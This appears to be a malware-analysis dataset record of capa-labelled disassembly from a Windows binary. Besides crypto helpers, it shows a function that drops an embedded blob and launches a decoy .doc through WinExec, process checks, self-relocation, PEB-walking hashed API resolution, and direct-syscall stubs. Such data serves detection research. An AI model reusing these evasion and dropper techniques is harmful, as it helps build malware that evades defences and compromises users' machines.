joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14019e190
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
pxor xmm2, xmm2
xor r9d, r9d
xor r10d, r10d
movdqa xmm3, xmm2
movdqa xmm4, xmm2
xor r11d, r11d
xor ebx, ebx
xor esi, esi
xor edi, edi
xor ebp, ebp
xor r12d, r12d
xor r13d, r13d
xor r14d, r14d
mov rax, rcx
mov qword [rsp + 0x100], r8
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 8], 0
mov qword [rsp + 0xf0], rax
nop word [rax + rax]
mov r15, qword [rsp + 0x100]
add rcx, 1
movdqa xmm0, xmmword [rdx]
xor r15, rcx
pxor xmm0, xmm4
mov rax, r15
sub r15, 1
not rax
and rax, r15
mov r15, qword [rsp + 8]
xor r15, qword [rdx + 0x30]
sar rax, 0x3f
and r15, rax
xor qword [rsp + 8], r15
mov r15, qword [rdx + 0x60]
movq xmm1, rax
punpcklqdq xmm1, xmm1
xor r15, r14
pand xmm0, xmm1
and r15, rax
pxor xmm4, xmm0
movdqa xmm0, xmmword [rdx + 0x10]
xor r14, r15
mov r15, qword [rdx + 0x38]
pxor xmm0, xmm3
xor r15, r13
pand xmm0, xmm1
and r15, rax
pxor xmm3, xmm0
movdqa xmm0, xmmword [rdx + 0x20]
xor r13, r15
mov r15, qword [rdx + 0x68]
pxor xmm0, xmm2
xor r15, r12
pand xmm0, xmm1
and r15, rax
pxor xmm2, xmm0
xor r12, r15
mov r15, qword [rdx + 0x40]
xor r15, rbp
and r15, rax
xor rbp, r15
mov r15, qword [rdx + 0x70]
xor r15, rdi
and r15, rax
xor rdi, r15
mov r15, qword [rdx + 0x48]
xor r15, rsi
and r15, rax
xor rsi, r15
mov r15, qword [rdx + 0x78]
xor r15, rbx
and r15, rax
xor rbx, r15
mov r15, qword [rdx + 0x50]
xor r15, r11
and r15, rax
xor r11, r15
mov r15, qword [rdx + 0x80]
add rdx, 0x90
xor r15, r10
and r15, rax
xor r10, r15
mov r15, qword [rdx - 0x38]
xor r15, r9
and r15, rax
xor r9, r15
mov r15, qword [rdx - 8]
xor r15, r8
and r15, rax
xor r8, r15
cmp rcx, 0x10
jne 0x14019e1f0
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 8]
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x40], rcx
movdqa xmm5, xmmword [rsp + 0x40]
mov qword [rsp + 0x58], rsi
movaps xmmword [rax + 0x20], xmm2
movdqa xmm2, xmmword [rsp + 0x50]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x90], r10
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x98], r8
movaps xmmword [rax], xmm4
movdqa xmm4, xmmword [rsp + 0x70]
movaps xmmword [rax + 0x10], xmm3
movdqa xmm3, xmmword [rsp + 0x60]
movaps xmmword [rax + 0x30], xmm5
movdqa xmm5, xmmword [rsp + 0x80]
movaps xmmword [rax + 0x40], xmm2
movdqa xmm2, xmmword [rsp + 0x90]
movaps xmmword [rax + 0x50], xmm3
movaps xmmword [rax + 0x60], xmm4
movaps xmmword [rax + 0x70], xmm5
movaps xmmword [rax + 0x80], xmm2
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14019e840
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r9, rcx
mov r10, rdx
test r8, r8
je 0x14019e9e8
lea rax, [r8 - 1]
cmp rax, 0xe
jbe 0x14019e9ec
mov rcx, r8
xor eax, eax
pxor xmm1, xmm1
and rcx, 0xfffffffffffffff0
nop dword [rax + rax]
movdqu xmm0, xmmword [r9 + rax]
movdqu xmm3, xmmword [r10 + rax]
add rax, 0x10
pxor xmm0, xmm3
por xmm1, xmm0
cmp rcx, rax
jne 0x14019e870
movdqa xmm0, xmm1
psrldq xmm0, 8
por xmm0, xmm1
movdqa xmm2, xmm0
psrldq xmm2, 4
por xmm0, xmm2
movdqa xmm2, xmm0
psrldq xmm2, 2
por xmm0, xmm2
movdqa xmm2, xmm0
psrldq xmm2, 1
por xmm0, xmm2
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm1, 8
por xmm1, xmm0
cmp r8, rcx
je 0x14019e9df
mov r11, r8
sub r11, rcx
lea rdx, [r11 - 1]
cmp rdx, 6
jbe 0x14019e950
movq xmm0, qword [r9 + rcx]
movq xmm2, qword [r10 + rcx]
pxor xmm0, xmm2
por xmm0, xmm1
movq rdx, xmm0
mov rax, rdx
mov rbx, rdx
or al, dh
shr rbx, 0x10
or eax, ebx
mov rbx, rdx
shr rbx, 0x18
or eax, ebx
mov rbx, rdx
shr rbx, 0x20
or eax, ebx
mov rbx, rdx
shr rbx, 0x28
or eax, ebx
mov rbx, rdx
shr rdx, 0x38
shr rbx, 0x30
or eax, ebx
or eax, edx
mov rdx, r11
and rdx, 0xfffffffffffffff8
add rcx, rdx
and r11d, 7
je 0x14019e9df
movzx edx, byte [r9 + rcx]
xor dl, byte [r10 + rcx]
or eax, edx
lea rdx, [rcx + 1]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r10 + rcx + 1]
xor dl, byte [r9 + rcx + 1]
or eax, edx
lea rdx, [rcx + 2]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r9 + rcx + 2]
xor dl, byte [r10 + rcx + 2]
or eax, edx
lea rdx, [rcx + 3]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r9 + rcx + 3]
xor dl, byte [r10 + rcx + 3]
or eax, edx
lea rdx, [rcx + 4]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r9 + rcx + 4]
xor dl, byte [r10 + rcx + 4]
or eax, edx
lea rdx, [rcx + 5]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r9 + rcx + 5]
xor dl, byte [r10 + rcx + 5]
or eax, edx
lea rdx, [rcx + 6]
cmp rdx, r8
jae 0x14019e9df
movzx edx, byte [r9 + rcx + 6]
xor dl, byte [r10 + rcx + 6]
or eax, edx
movzx eax, al
pop rbx
ret
xor eax, eax
pop rbx
ret
pxor xmm1, xmm1
xor ecx, ecx
xor eax, eax
jmp 0x14019e8db

Function at 0x1401a0dd0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
test rdx, rdx
je 0x1401a0e10
lea r10, [rcx + rdx*8]
mov r8, 0xffffffffffffffff
mov rdx, qword [rcx]
mov r9, r8
add rcx, 8
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
xor rax, r8
and rax, r9
xor r8, rax
cmp r10, rcx
jne 0x1401a0de0
mov rax, r8
ret
mov r8, 0xffffffffffffffff
mov rax, r8
ret

Function at 0x1401a0e20
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push rbx
mov r11, rcx
mov rbx, rdx
test r8, r8
je 0x1401a0e70
xor ecx, ecx
mov r9, 0xffffffffffffffff
nop dword [rax]
mov rdx, qword [rbx + rcx*8]
xor rdx, qword [r11 + rcx*8]
mov r10, r9
add rcx, 1
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
xor rax, r9
and rax, r10
xor r9, rax
cmp r8, rcx
jne 0x1401a0e38
mov rax, r9
pop rbx
ret
mov r9, 0xffffffffffffffff
mov rax, r9
pop rbx
ret
Function at 0x1401a0e80
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x1401a0ee0
xor rdx, qword [rcx]
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
cmp r8, 1
je 0x1401a0ef0
lea r11, [rcx + r8*8]
lea r9, [rcx + 8]
mov r8, 0xffffffffffffffff
nop
mov rcx, qword [r9]
mov r10, r8
add r9, 8
mov rdx, rcx
sub rcx, 1
not rdx
and rdx, rcx
sar rdx, 0x3f
xor rdx, r8
and rdx, r10
xor r8, rdx
cmp r11, r9
jne 0x1401a0eb0
and rax, r8
ret
lea rax, [rdx - 1]
not rdx
and rax, rdx
sar rax, 0x3f
ret
mov r8, 0xffffffffffffffff
jmp 0x1401a0ed9

Function at 0x1401a0f50
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov rax, qword [rcx]
mov r9, rdx
xor edx, edx
cmp rax, r9
sbb rdx, 0
mov r10, rdx
and r10d, 1
sub r10, 1
mov rax, r10
not r10
sar rax, 0x3f
cmp r8, 1
je 0x1401a0fbc
lea r9, [rcx + 8]
lea r11, [rcx + r8*8]
mov rax, 0xffffffffffffffff
nop dword [rax]
mov rcx, qword [r9]
mov r8, rax
add r9, 8
mov rdx, rcx
sub rcx, 1
not rdx
and rdx, rcx
sar rdx, 0x3f
xor rdx, rax
and rdx, r8
xor rax, rdx
cmp r11, r9
jne 0x1401a0f90
xor rax, r10
mov rdx, r10
and rax, rdx
xor rax, r10
ret
Function at 0x1401a3250
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x90]
mov r13, rcx
mov rbp, r8
test rbx, rbx
je 0x1401a33a0
cmp rbx, rdx
jne 0x1401a33a0
lea rdx, [rbx + rbx]
xor eax, eax
cmp rdx, r9
jne 0x1401a338d
mov rax, qword [rsp + 0xa0]
mov r15, r8
xor r14d, r14d
xor esi, esi
mov r12, qword [rax]
nop word [rax + rax]
mov r8, qword [r15]
mov rcx, r15
mov rdx, rdi
mov r9, rbx
imul r8, r12
call fcn.1401a3400
mov rcx, qword [r15 + rbx*8]
xor edx, edx
add rax, rsi
add rax, rcx
cmp rcx, rax
mov qword [r15 + rbx*8], rax
setne dl
or rdx, rsi
xor esi, esi
cmp rcx, rax
setae sil
add r14, 1
add r15, 8
and rsi, rdx
cmp r14, rbx
jb 0x1401a32b0
lea rcx, [rbp + rbx*8]
mov r8, qword [rdi]
mov rax, qword [rcx]
mov rdx, rax
sub rdx, r8
mov qword [r13], rdx
xor edx, edx
cmp rax, r8
sbb rdx, 0
and edx, 1
cmp rbx, 1
je 0x1401a3352
mov eax, 1
nop dword [rax + rax]
mov r8, qword [rcx + rax*8]
xor r9d, r9d
sub r8, qword [rdi + rax*8]
sbb r9, 0
sub r8, rdx
sbb r9, 0
mov qword [r13 + rax*8], r8
add rax, 1
mov rdx, r9
and edx, 1
cmp rbx, rax
jne 0x1401a3328
xor eax, eax
sub rsi, rdx
nop word [rax + rax]
mov r8, qword [r13 + rax*8]
mov rdx, qword [rcx + rax*8]
xor rdx, r8
and rdx, rsi
xor rdx, r8
mov qword [r13 + rax*8], rdx
mov qword [rcx + rax*8], 0
add rax, 1
cmp rax, rbx
jb 0x1401a3360
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
jmp 0x1401a338d

Function at 0x1401a33b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r10d, 0x40
xor eax, eax
mov r8d, 1
movabs rbx, 0x8000000000000000
nop dword [rax]
mov rdx, r8
mov r11, rcx
shr rax, 1
and edx, 1
neg rdx
and r11, rdx
and rdx, rbx
mov r9, r11
add rax, rdx
xor r9, r8
and r8, r11
shr r9, 1
add r8, r9
sub r10, 1
jne 0x1401a33d0
pop rbx
ret
Function at 0x1401ad370
Capabilities:
Encrypt data using curve25519

Disassembly:
movzx eax, byte [rcx + 0x1f]
and byte [rcx], 0xf8
and eax, 0x7f
or eax, 0x40
mov byte [rcx + 0x1f], al
ret
Function at 0x140001100
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
call fcn.140010f40
mov rdi, rax
lea rdx, [0x140049b1d]
mov rcx, rsi
call fcn.14000920c
test rax, rax
je 0x140001139
lea eax, [rdi + 3]
test edi, edi
cmovns eax, edi
sar eax, 2
lea ecx, [rax + rax*2]
add ecx, 0xfffffffe
jmp 0x14000115b
mov rcx, rsi
mov edx, 0x3d
call fcn.140009190
lea ecx, [rdi + 3]
test edi, edi
cmovns ecx, edi
sar ecx, 2
lea ecx, [rcx + rcx*2]
cmp rax, 1
adc ecx, 0xffffffff
movsxd rbx, ecx
lea rcx, [rbx + 1]
call fcn.140010998
mov byte [rax + rbx], 0
cmp edi, 3
jl 0x1400011f3
add edi, 0xfffffffe
movsxd rcx, edi
mov rdx, rax
add rdx, 2
xor r8d, r8d
lea r9, [0x14002a100]
nop dword [rax + rax]
movsx r10, byte [rsi + r8]
mov r10d, dword [r9 + r10*4]
shl r10d, 2
movsx r11, byte [rsi + r8 + 1]
mov r11d, dword [r9 + r11*4]
mov edi, r11d
shr edi, 4
and edi, 0xf
or edi, r10d
mov byte [rdx - 2], dil
shl r11d, 4
movsx r10, byte [rsi + r8 + 2]
mov r10d, dword [r9 + r10*4]
mov edi, r10d
shr edi, 2
and edi, 0x3f
or edi, r11d
mov byte [rdx - 1], dil
shl r10d, 6
movsx r11, byte [rsi + r8 + 3]
or r10d, dword [r9 + r11*4]
mov byte [rdx], r10b
add r8, 4
add rdx, 3
cmp r8, rcx
jl 0x140001190
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
Function at 0x140001200
Capabilities:
Create process on windows

Disassembly:
push rbp
push rsi
mov eax, 0x17588
call fcn.140006110
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x17500], 0xfffffffffffffffe
mov qword [rbp + 0x174f0], 0xf
mov qword [rbp + 0x174f8], 0xf
movabs rax, 0x6a78325a344a3264
mov qword [rbp + 0x174e0], rax
movabs rax, 0x636f642e306d626a
mov qword [rbp + 0x174e7], rax
mov byte [rbp + 0x174ef], 0
mov qword [rbp + 0x174c8], 0
mov ecx, 0x20
call fcn.140005fa0
mov qword [rbp + 0x174c0], rax
mov qword [rbp + 0x174d0], 0x15
mov qword [rbp + 0x174d8], 0x1f
mov word [rax + 4], 0x632f
mov dword [rax], 0x20646d63
mov rcx, qword [rbp + 0x174e0]
mov rdx, qword [rbp + 0x174e7]
mov qword [rax + 6], rcx
mov qword [rax + 0xd], rdx
mov byte [rax + 0x15], 0
cmp qword [rbp + 0x174f8], 0x10
jb 0x1400012cc
mov rdx, qword [rbp + 0x174e0]
jmp 0x1400012d3
lea rdx, [rbp + 0x174e0]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x173b8]
mov r8d, 0x22
mov r9d, 0x40
call fcn.140003a80
lea rdx, [0x14002a2f0]
lea rsi, [rbp - 0x50]
mov r8d, 0x17400
mov rcx, rsi
call fcn.140028870
lea rcx, [rbp + 0x173b8]
mov r8d, 0x17400
mov rdx, rsi
call fcn.1400014f0
lea rcx, [rbp + 0x173b8]
call fcn.140001760
cmp qword [rbp + 0x174d8], 0x10
jb 0x140001340
mov rcx, qword [rbp + 0x174c0]
jmp 0x140001347
lea rcx, [rbp + 0x174c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rsi, [rbp + 0x17460]
mov rax, qword [rbp + 0x173b8]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x173b8], rcx
mov rax, qword [rbp + 0x173b8]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x173b4], ecx
lea rcx, [rbp + 0x173c0]
call fcn.1400020b0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x17460], rax
mov rcx, rsi
call fcn.14000682c
mov rax, qword [rbp + 0x174d8]
cmp rax, 0x10
jb 0x1400013eb
mov rcx, qword [rbp + 0x174c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400013e6
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001437
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140005fe4
mov rax, qword [rbp + 0x174f8]
cmp rax, 0x10
jb 0x14000142c
mov rcx, qword [rbp + 0x174e0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001427
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001437
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140005fe4
nop
add rsp, 0x17588
pop rsi
pop rbp
ret
call fcn.14000ee64
int3
Function at 0x1400019e0
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
lea rcx, str.explorer.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.WeChat.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.ChsIME.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.dllhost.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.svchost.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.taskhostw.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.ctfmon.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.SogouImeBroker.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.cloudmusic.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.SGTool.exe
call fcn.140005690
test eax, eax
jne 0x140001aa0
lea rcx, str.dingtalk.exe
call fcn.140005690
test eax, eax
je 0x140001aa5
add rsp, 0x28
ret
lea rcx, str.sgtool.exe
add rsp, 0x28
jmp fcn.140005690

Function at 0x140001ac0
Capabilities:
Get common file path
Move file

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x458
mov rax, qword [0x140052540]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x28], 0
lea rcx, [0x140042378]
lea r9, [rsp + 0x28]
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140001b87
lea rdx, [rsp + 0x240]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
dec eax
cmp eax, 0x102
ja 0x140001b87
lea rsi, [rsp + 0x240]
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rdx, qword [rsp + 0x28]
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
mov r14, qword [sym.imp.SHLWAPI.dll_PathGetDriveNumberW]
mov rcx, rsi
call r14
mov ebx, eax
mov rcx, rdi
call r14
xor ecx, ecx
cmp ebx, eax
sete cl
mov r8d, 2
sub r8d, ecx
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140006170
nop
add rsp, 0x458
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140002950
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x1400029e6
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x1400029ed
mov r15, rsi
jmp 0x1400029ab
cmp r15, r14
cmovb r14, r15
mov rcx, rdi
mov r8, r14
call fcn.140028870
add rdi, r14
sub r15, r14
mov rax, qword [rbx + 0x50]
sub dword [rax], r14d
mov rax, qword [rbx + 0x38]
add qword [rax], r14
test r15, r15
jle 0x1400029de
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400029c3
mov rax, qword [rbx + 0x50]
mov r14d, dword [rax]
test r14d, r14d
jg 0x140002980
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400029de
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x1400029ab
sub rsi, r15
jmp 0x140002ada
xor esi, esi
jmp 0x140002ada
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002a40
mov rax, qword [rbx + 0x50]
movsxd r15, dword [rax]
test r15, r15
je 0x140002a40
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.140028870
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
cmp qword [rbx + 0x80], 0
jne 0x140002a51
jmp 0x140002ad7
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x140002ad7
mov rax, qword [rbx + 0x18]
lea rcx, [rbx + 0x70]
cmp qword [rax], rcx
jne 0x140002a80
mov ecx, dword [rbx + 0x90]
mov rdx, qword [rbx + 0x88]
mov qword [rax], rdx
mov rax, qword [rbx + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rbx + 0x50]
mov dword [rax], ecx
nop dword [rax]
cmp r14, 0x1000
jb 0x140002ab3
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.140010154
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x140002a80
jmp 0x140002ad7
test r14, r14
je 0x140002ad4
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.140010154
sub r14, rax
jmp 0x140002ad7
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140005440
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
mov eax, 1
cmp dword [0x1400532e8], 0
jne 0x1400055ab
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x30]
test r9, r9
je 0x1400055a9
xor r11d, r11d
mov r8d, 0xdfdfdfdf
jmp 0x14000549f
mov r11, r9
mov rcx, qword [rcx]
mov r9, qword [rcx + 0x30]
test r9, r9
je 0x1400054e4
mov rdx, r9
movsxd r9, dword [r9 + 0x3c]
mov r9d, dword [r9 + rdx + 0x88]
test r9, r9
je 0x140005493
mov r10d, dword [r9 + rdx + 0xc]
add r9, rdx
mov r11d, dword [r10 + rdx]
and r11d, r8d
cmp r11d, 0x4c44544e
jne 0x140005490
mov r10d, dword [rdx + r10 + 4]
and r10d, r8d
mov r11, r9
cmp r10d, 0x4c440e4c
jne 0x140005493
mov r11, r9
jmp 0x1400054ed
test r11, r11
je 0x1400055a9
mov r8d, dword [r11 + 0x18]
mov r9d, dword [r11 + 0x1c]
add r9, rdx
mov r10d, dword [r11 + 0x20]
add r10, rdx
mov r11d, dword [r11 + 0x24]
add r11, rdx
xor ecx, ecx
lea rsi, [0x1400532e8]
jmp 0x140005529
test r8, r8
je 0x1400055b4
dec r8d
mov edi, dword [r10 + r8*4]
movzx ebx, word [rdi + rdx]
cmp ebx, 0x775a
jne 0x140005520
add rdi, rdx
mov ebx, 0x8a52dcf3
xor r14d, r14d
nop word [rax + rax]
mov ebp, ebx
movzx r15d, word [r14 + rdi]
inc r14d
rol ebx, 0x18
add ebx, r15d
xor ebx, ebp
cmp byte [rdi + r14], 0
jne 0x140005550
mov edi, ecx
shl rdi, 4
mov dword [rdi + rsi + 8], ebx
movzx ebx, word [r11 + r8*2]
mov ebx, dword [r9 + rbx*4]
mov dword [rdi + rsi + 0xc], ebx
mov qword [rdi + rsi + 0x10], 0
inc ecx
cmp ecx, 0x1f4
jne 0x140005520
mov dword [0x1400532e8], 0x1f4
mov ecx, 0x1f4
mov edx, 0x1f3
jmp 0x1400055c0
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov dword [0x1400532e8], ecx
mov edx, ecx
dec edx
je 0x1400055ab
xor r8d, r8d
lea r9, [0x140053308]
mov r10d, edx
jmp 0x1400055d8
dec r10d
cmp r8d, edx
je 0x1400055ab
mov r10d, r10d
inc r8d
cmp ecx, r8d
je 0x1400055d0
mov esi, dword [0x1400532f4]
mov r11, r10
mov rdi, r9
jmp 0x14000562b
mov ebp, dword [rdi - 0x18]
mov r14, qword [rdi - 0x10]
mov r15d, dword [rdi - 8]
mov dword [rdi - 0x18], r15d
mov dword [rdi - 0x14], ebx
mov rbx, qword [rdi]
mov qword [rdi - 0x10], rbx
mov dword [rdi - 8], ebp
mov dword [rdi - 4], esi
mov qword [rdi], r14
add rdi, 0x10
dec r11
je 0x1400055d0
mov ebx, dword [rdi - 4]
cmp esi, ebx
ja 0x140005600
mov esi, ebx
jmp 0x140005622
Function at 0x140005690
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x268
mov rdi, rcx
mov rax, qword [0x140052540]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor esi, esi
lea rcx, [rsp + 0x28]
mov r8d, 0x238
xor edx, edx
call fcn.140028f10
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140005754
mov rbx, rax
mov dword [rsp + 0x28], 0x238
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000574b
lea r14, [rsp + 0x54]
mov rcx, r14
mov rdx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14000573c
lea r15, [rsp + 0x28]
mov r12, qword [sym.imp.SHLWAPI.dll_StrCmpIW]
nop dword [rax + rax]
mov rcx, rbx
mov rdx, r15
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x14000574b
mov rcx, r14
mov rdx, rdi
call r12
test eax, eax
jne 0x140005720
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x30]
jmp 0x140005754
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140006170
mov eax, esi
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x140005820
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe5355801
call fcn.140005640
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005860
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xadbda420
call fcn.140005640
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005ae0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xdd8d21e9
call fcn.140005640
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005b60
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3e6b16cd
call fcn.140005640
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005ba0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1d951717
call fcn.140005640
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret